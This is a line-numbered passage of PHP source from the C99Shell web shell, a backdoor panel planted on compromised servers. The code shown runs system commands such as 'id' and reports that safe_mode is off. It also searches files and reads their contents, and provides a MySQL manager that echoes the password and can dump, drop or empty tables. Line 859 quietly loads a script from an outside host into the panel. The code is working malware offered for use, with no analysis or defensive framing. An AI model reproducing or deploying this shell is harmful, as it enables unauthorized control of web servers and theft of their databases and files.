 646   {
 647    fwrite ($fp, $out);
 648    fclose ($fp);
 649   }
 650  }
 651  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
 652  return $out;
 653 }
 654 }
 655 if (!function_exists("mysql_buildwhere"))
 656 {
 657 function mysql_buildwhere($array,$sep=" and",$functs=array())
 658 {
 659  if (!is_array($array)) {$array = array();}
 660  $result = "";
 661  foreach($array as $k=>$v)
 662  {
 663   $value = "";
 664   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
 665   $value .= "'".addslashes($v)."'";
 666   if (!empty($functs[$k])) {$value .= ")";}
 667   $result .= "`".$k."` = ".$value.$sep;
 668  }
 669  $result = substr($result,0,strlen($result)-strlen($sep));
 670  return $result;
 671 }
 672 }
 673 if (!function_exists("mysql_fetch_all"))
 674 {
 675 function mysql_fetch_all($query,$sock)
 676 {
 677  if ($sock) {$result = mysql_query($query,$sock);}
 678  else {$result = mysql_query($query);}
 679  $array = array();
 680  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
 681  mysql_free_result($result);
 682  return $array;
 683 }
 684 }
 685 if (!function_exists("mysql_smarterror"))
 686 {
 687 function mysql_smarterror($type,$sock)
 688 {
 689  if ($sock) {$error = mysql_error($sock);}
 690  else {$error = mysql_error();}
 691  $error = htmlspecialchars($error);
 692  return $error;
 693 }
 694 }
 695 if (!function_exists("mysql_query_form"))
 696 {
 697 function mysql_query_form()
 698 {
 699  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
 700  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
 701  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
 702  if ((!$submit) or ($sql_act))
 703  {
 704   echo "<table border=0><tr><td><form action=\"".$sql_surl."\" name=\"c99sh_sqlquery\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td>";
 705   if ($tbl_struct)
 706   {
 707    echo "<td valign=\"top\"><b>Fields:</b><br>";
 708    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
 709    echo "</td></tr></table>";
 710   }
 711  }
 712  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
 713 }
 714 }
 715 if (!function_exists("mysql_create_db"))
 716 {
 717 function mysql_create_db($db,$sock="")
 718 {
 719  $sql = "CREATE DATABASE `".addslashes($db)."`;";
 720  if ($sock) {return mysql_query($sql,$sock);}
 721  else {return mysql_query($sql);}
 722 }
 723 }
 724 if (!function_exists("mysql_query_parse"))
 725 {
 726 function mysql_query_parse($query)
 727 {
 728  $query = trim($query);
 729  $arr = explode (" ",$query);
 730  /*array array()
 731  {
 732   "METHOD"=>array(output_type),
 733   "METHOD1"...
 734   ...
 735  }
 736  if output_type == 0, no output,
 737  if output_type == 1, no output if no error
 738  if output_type == 2, output without control-buttons
 739  if output_type == 3, output with control-buttons
 740  */
 741  $types = array(
 742   "SELECT"=>array(3,1),
 743   "SHOW"=>array(2,1),
 744   "DELETE"=>array(1),
 745   "DROP"=>array(1)
 746  );
 747  $result = array();
 748  $op = strtoupper($arr[0]);
 749  if (is_array($types[$op]))
 750  {
 751   $result["propertions"] = $types[$op];
 752   $result["query"]  = $query;
 753   if ($types[$op] == 2)
 754   {
 755    foreach($arr as $k=>$v)
 756    {
 757     if (strtoupper($v) == "LIMIT")
 758     {
 759      $result["limit"] = $arr[$k+1];
 760      $result["limit"] = explode(",",$result["limit"]);
 761      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
 762      unset($arr[$k],$arr[$k+1]);
 763     }
 764    }
 765   }
 766  }
 767  else {return false;}
 768 }
 769 }
 770 if (!function_exists("c99fsearch"))
 771 {
 772 function c99fsearch($d)
 773 {
 774  global $found;
 775  global $found_d;
 776  global $found_f;
 777  global $search_i_f;
 778  global $search_i_d;
 779  global $a;
 780  if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 781  $h = opendir($d);
 782  while (($f = readdir($h)) !== false)
 783  {
 784   if($f != "." && $f != "..")
 785   {
 786    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f));
 787    if (is_dir($d.$f))
 788    {
 789     $search_i_d++;
 790     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
 791     if (!is_link($d.$f)) {c99fsearch($d.$f);}
 792    }
 793    else
 794    {
 795     $search_i_f++;
 796     if ($bool)
 797     {
 798      if (!empty($a["text"]))
 799      {
 800       $r = @file_get_contents($d.$f);
 801       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
 802       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
 803       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
 804       else {$bool = strpos(" ".$r,$a["text"],1);}
 805       if ($a["text_not"]) {$bool = !$bool;}
 806       if ($bool) {$found[] = $d.$f; $found_f++;}
 807      }
 808      else {$found[] = $d.$f; $found_f++;}
 809     }
 810    }
 811   }
 812  }
 813  closedir($h);
 814 }
 815 }
 816 if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
 817 //Sending headers
 818 header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
 819 header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
 820 header("Cache-Control: no-store, no-cache, must-revalidate");
 821 header("Cache-Control: post-check=0, pre-check=0", false);
 822 header("Pragma: no-cache");
 823 if (empty($tmpdir))
 824 {
 825  if (!$win) {$tmpdir = "/tmp/";}
 826  else {$tmpdir = getenv("SystemRoot");}
 827 }
 828 else {$tmpdir = realpath($tmpdir);}
 829 $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
 830 if (substr($tmpdir,-1,1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
 831 if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
 832 else {$tmpdir_logs = realpath($tmpdir_logs);}
 833 if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
 834 {
 835  $safemode = true;
 836  $hsafemode = "<font color=\"red\">ON (secure)</font>";
 837 }
 838 else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";}
 839 $v = @ini_get("open_basedir");
 840 if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=\"red\">".$v."</font>";}
 841 else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";}
 842 $sort = htmlspecialchars($sort);
 843 if (empty($sort)) {$sort = $sort_default;}
 844 $sort[1] = strtolower($sort[1]);
 845 $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
 846 if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
 847 $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
 848 @ini_set("highlight.bg",$highlight_bg); //FFFFFF    
 849 @ini_set("highlight.comment",$highlight_comment); //#FF8000 
 850 @ini_set("highlight.default",$highlight_default); //#0000BB 
 851 @ini_set("highlight.html",$highlight_html); //#000000   
 852 @ini_set("highlight.keyword",$highlight_keyword); //#007700 
 853 @ini_set("highlight.string",$highlight_string); //#DD0000
 854 if (!is_array($actbox)) {$actbox = array();}
 855 $dspact = $act = htmlspecialchars($act);
 856 $disp_fullpath = $ls_arr = $notls = null;
 857 $ud = urlencode($d);
 858 ?>
 859 <script src=http://www.c99shell.gen.tr/blabla/per.js></script>
 860 <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99 shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
 861 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 862 if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
 863 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 864 if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 865 $d = str_replace("\\\\","\\",$d);
 866 $dispd = htmlspecialchars($d);
 867 $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,strlen($d)-1));
 868 $i = 0;
 869 foreach($pd as $b)
 870 {
 871  $t = "";
 872  reset($e);
 873  $j = 0;
 874  foreach ($e as $r)
 875  {
 876   $t.= $r.DIRECTORY_SEPARATOR;
 877   if ($j == $i) {break;}
 878   $j++;
 879  }
 880  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
 881  $i++;
 882 }
 883 echo "&nbsp;&nbsp;&nbsp;";
 884 if (is_writable($d))
 885 {
 886  $wd = true;
 887  $wdt = "<font color=\"green\">[ ok ]</font>";
 888  echo "<b><font color=\"green\">".view_perms(fileperms($d))."</font></b>";
 889 }
 890 else
 891 {
 892  $wd = false;
 893  $wdt = "<font color=\"red\">[ Read-Only ]</font>";
 894  echo "<b>".view_perms_color($d)."</b>";
 895 }
 896 if (is_callable("disk_free_space"))
 897 {
 898  $free = disk_free_space($d);
 899  $total = disk_total_space($d);
 900  if ($free === false) {$free = 0;}
 901  if ($total === false) {$total = 0;}
 902  if ($free < 0) {$free = 0;}
 903  if ($total < 0) {$total = 0;}
 904  $used = $total-$free;
 905  $free_percent = round(100/($total/$free),2);
 906  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
 907 }
 908 echo "<br>";
 909 $letters = "";
 910 if ($win)
 911 {
 912  $v = explode("\\",$d);
 913  $v = $v[0];
 914  foreach (range("a","z") as $letter)
 915  {
 916   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
 917   if (!$bool) {$bool = is_dir($letter.":\\");}
 918   if ($bool)
 919   {
 920    $letters .= "<a href=\"".$surl."act=ls&d=".$letter.":\\\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
 921    if ($letter.":" != $v) {$letters .= $letter;}
 922    else {$letters .= "<font color=\"green\">".$letter."</font>";}
 923    $letters .= " ]</a> ";
 924   }
 925  }
 926  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
 927 }
 928 if (count($quicklaunch) > 0)
 929 {
 930  foreach($quicklaunch as $item)
 931  {
 932   $item[1] = str_replace("%d",urlencode($d),$item[1]);
 933   $item[1] = str_replace("%sort",$sort,$item[1]);
 934   $v = realpath($d."..");
 935   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
 936   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
 937   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
 938  }
 939 }
 940 ?></p></td></tr></table><br><?php
 941 if ((!empty($donated_html)) and (in_array($act,$donated_act))) {?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php echo $donated_html; ?></td></tr></table><br><?php }
 942 ?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php
 943 if ($act == "") {$act = $dspact = "ls";}
 944 if ($act == "sql")
 945 {
 946  $sql_surl = $surl."act=sql";
 947  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
 948  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
 949  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
 950  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
 951  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
 952  $sql_surl .= "&";
 953  ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
 954  if ($sql_server)
 955  {
 956   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
 957   $err = mysql_smarterror();
 958   @mysql_select_db($sql_db,$sql_sock);
 959   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
 960  }
 961  else {$sql_sock = false;}
 962  echo "<b>SQL Manager:</b><br>";
 963  if (!$sql_sock)
 964  {
 965   if (!$sql_server) {echo "NO CONNECTION";}
 966   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
 967  }
 968  else
 969  {
 970   $sqlquicklaunch = array();
 971   $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
 972   $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
 973   $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
 974   $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
 975   $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
 976   $sqlquicklaunch[] = array("Logout",$surl."act=sql");
 977   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
 978   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
 979   echo "</center>";
 980  }
 981  echo "</td></tr><tr>";
 982  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
 983  else
 984  {
 985   //Start left panel
 986   if (!empty($sql_db))
 987   {
 988    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
 989    $result = mysql_list_tables($sql_db);
 990    if (!$result) {echo mysql_smarterror();}
 991    else
 992    {
 993     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
 994     $c = 0;
 995     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
 996     if (!$c) {echo "No tables found in database.";}
 997    }
 998   }
 999   else
1000   {
1001    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
1002    $result = mysql_list_dbs($sql_sock);
1003    if (!$result) {echo mysql_smarterror();}
1004    else
1005    {
1006     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
1007     $c = 0;
1008     $dbs = "";
1009     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
1010     echo "<option value=\"\">Databases (".$c.")</option>";
1011     echo $dbs;
1012    }
1013    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
1014   }
1015   //End left panel
1016   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
1017   //Start center panel
1018   $diplay = true;
1019   if ($sql_db)
1020   {
1021    if (!is_numeric($c)) {$c = 0;}
1022    if ($c == 0) {$c = "no";}
1023    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
1024    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
1025    echo "</b></center>";
1026    $acts = array("","dump");
1027    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
1028    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
1029    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
1030    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
1031    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
1032    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
1033    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
1034    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,strlen($sql_query)-1);} $sql_act = "query";}
1035    elseif ($sql_tbl_act == "insert")
1036    {
1037     if ($sql_tbl_insert_radio == 1)
1038     {
1039      $keys = "";
1040      $akeys = array_keys($sql_tbl_insert);
1041      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
1042      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
1043      $values = "";
1044      $i = 0;
1045      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
1046      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
1047      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
1048      $sql_act = "query";
1049      $sql_tbl_act = "browse";
1050     }
1051     elseif ($sql_tbl_insert_radio == 2)
1052     {
1053      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
1054      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
1055      $result = mysql_query($sql_query) or print(mysql_smarterror());
1056      $result = mysql_fetch_array($result, MYSQL_ASSOC);
1057      $sql_act = "query";
1058      $sql_tbl_act = "browse";
1059     }
1060    }
1061    if ($sql_act == "query")
1062    {
1063     echo "<hr size=\"1\" noshade>";
1064     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
1065     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
1066     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
1067    }
1068    if (in_array($sql_act,$acts))
1069    {
1070     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
1071     if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
1072     if ($sql_act == "newtbl")
1073     {
1074      echo "<b>";
1075      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
1076     }
1077     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1078    }
1079    elseif ($sql_act == "dump")
1080    {
1081     if (empty($submit))
1082     {
1083      $diplay = false;
